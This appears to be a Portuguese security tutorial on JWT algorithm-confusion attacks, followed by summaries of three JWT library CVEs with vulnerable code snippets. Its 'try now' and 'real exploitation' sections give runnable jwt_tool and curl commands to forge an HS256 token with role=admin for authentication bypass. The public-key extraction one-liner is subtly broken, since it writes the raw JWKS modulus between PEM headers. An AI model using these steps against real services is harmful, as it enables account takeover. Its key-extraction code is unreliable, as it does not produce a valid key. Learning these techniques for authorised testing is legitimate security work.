🎯 Por que isso importa

Ataques de confusão de algoritmo são uma daquelas vulnerabilidades "santo graal" que podem contornar completamente a autenticação em aplicações importantes. O problema é o seguinte: JWTs confiam em seus próprios headers para dizer qual algoritmo usar para verificação. Atacantes exploram essa confiança mudando o campo de algoritmo, enganando servidores para verificar assinaturas da forma errada. Você aprenderá a identificar e explorar essas falhas exatamente como os pesquisadores de segurança que as descobrem.

🔍 O que você vai aprender

Você descobrirá como enganar servidores para usar chaves públicas RSA como segredos HMAC (ataques RS256 para HS256), contornar completamente a verificação de assinatura com ataques de algoritmo "none", e usar ferramentas poderosas como jwt_tool para automatizar os testes. Estas são as mesmas técnicas que pesquisadores usam para encontrar vulnerabilidades críticas em sistemas de produção.

🚀 Sua primeira vitória

Em minutos, você estará testando tokens JWT para vulnerabilidades de confusão de algoritmo usando as mesmas ferramentas que pesquisadores de segurança utilizam. Você verá imediatamente esses ataques em ação e ganhará confiança para identificar implementações vulneráveis que até desenvolvedores experientes deixam passar.

🔧 Tente agora

Vamos colocar o jwt_tool para funcionar - é a ferramenta que pesquisadores de segurança do mundo inteiro usam para testes JWT. Essa ferramenta automatiza todo o trabalho criptográfico complexo que levaria horas para fazer manualmente.

# Passo 1: Instale as dependências criptográficas
pip3 install pycryptodome

# Passo 2: Obtenha o jwt_tool (framework de teste JWT de nível empresarial)
git clone https://github.com/ticarpi/jwt_tool.git
cd jwt_tool

# Passo 3: Teste confusão de algoritmo com este token exemplo vulnerável
python3 jwt_tool.py eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsIm5hbWUiOiJKb2huIERvZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -X a

# O que isso faz:
# ✓ Testa ataques de bypass de algoritmo none
# ✓ Testa ataques de confusão de chave RS256→HS256
# ✓ Testa vulnerabilidades de senha em branco
# ✓ Gera payloads de exploit automaticamente

Você verá: jwt_tool testará automaticamente múltiplos ataques de confusão de algoritmo e fornecerá resultados detalhados mostrando quais vulnerabilidades existem, completos com tokens de exploit prontos para uso - dando a você visão instantânea da postura de segurança da aplicação alvo.

O ataque RS256 para HS256 explora servidores que aceitam tanto algoritmos assimétricos (RSA) quanto simétricos (HMAC)

⚡ Exemplo de exploração real

Esta é a metodologia exata que consultores de segurança usam em engajamentos de teste

# Passo 1: Descobrir e extrair chave pública
curl https://example.com/.well-known/jwks.json | jq .
curl https://example.com/.well-known/jwks.json | python3 -c "import sys,json; key=json.load(sys.stdin)['keys'][0]; print('-----BEGIN PUBLIC KEY-----'); print(key['n']); print('-----END PUBLIC KEY-----')" > public_key.pem

# Passo 2: Criar token HS256 malicioso usando chave RSA como segredo HMAC
python3 jwt_tool.py [TOKEN_ORIGINAL] -X s -pk public_key.pem -I -pc role -pv admin

# Passo 3: Testar token forjado para bypass de autenticação

Indicador de sucesso: Bypass completo de autenticação com capacidade de forjar qualquer identidade de usuário - o mesmo impacto alcançado por equipes de segurança durante avaliações.

CVE-2024-54150: confusão de algoritmo CJWT

Biblioteca: xmidt-org/cjwt (Implementação C JSON Web Token)

Score CVSS: 9.1 Crítico | Descoberta: Dezembro 2024 por Louis Nyffenegger

// Padrão de código vulnerável na biblioteca cjwt
int cjwt_decode(const char *encoded, size_t encoded_len,
                const uint8_t *key, size_t key_len,
                cjwt_t **jwt) {
    // Algoritmo obtido de header não confiável - VULNERÁVEL!
    const char *alg = cJSON_GetStringValue(
        cJSON_GetObjectItemCaseSensitive(header, "alg"));
    // Sem validação de algoritmo antes do uso da chave
}

Impacto: Bypass completo de autenticação quando RS256 é esperado mas HS256 é fornecido. CVE-2024-54150 | Aviso de Segurança GitHub

CVE-2022-29217: confusão de chave PyJWT

Biblioteca: jpadilla/pyjwt (Biblioteca JWT Python) | Score CVSS: 7.4 Alto

Versões afetadas: >= 1.5.0, < 2.4.0

# Validação de chave vulnerável no PyJWT
invalid_strings = [
    b"-----BEGIN PUBLIC KEY-----",
    b"ssh-rsa",  # Apenas chaves RSA são bloqueadas
    b"-----BEGIN RSA PUBLIC KEY-----",
]

# Chaves Ed25519 começando com "ssh-ed25519" contornam a validação
# Chaves ECDSA "ecdsa-sha2-nistp256" também contornam a validação

Impacto: Chaves públicas Ed25519 e ECDSA podem ser usadas como segredos HMAC. NVD CVE-2022-29217 | Aviso de Segurança GitHub

CVE-2016-10555: caso histórico JWT-Simple

Importância histórica: Primeira vulnerabilidade de confusão de algoritmo JWT amplamente documentada (Março 2015)

Impacto na indústria: Levou à especificação RFC 8725 JWT Best Practices

// Padrão histórico vulnerável no jwt-simple
exports.decode = function decode(token, key, noVerify, algorithm) {
  // Parâmetro algorithm ignorado, obtido do header em vez disso
  var header = jwt.getHeader(token);
  var alg = header.alg; // PERIGOSO: Controlado pelo atacante

  if (alg === 'HS256') {
    return verify(token, key, 'HS256'); // Usa chave RSA como segredo HMAC
  }
};

Impacto histórico: Gerou revisão de segurança JWT em toda a indústria e implementações de bibliotecas melhoradas. CVE-2016-10555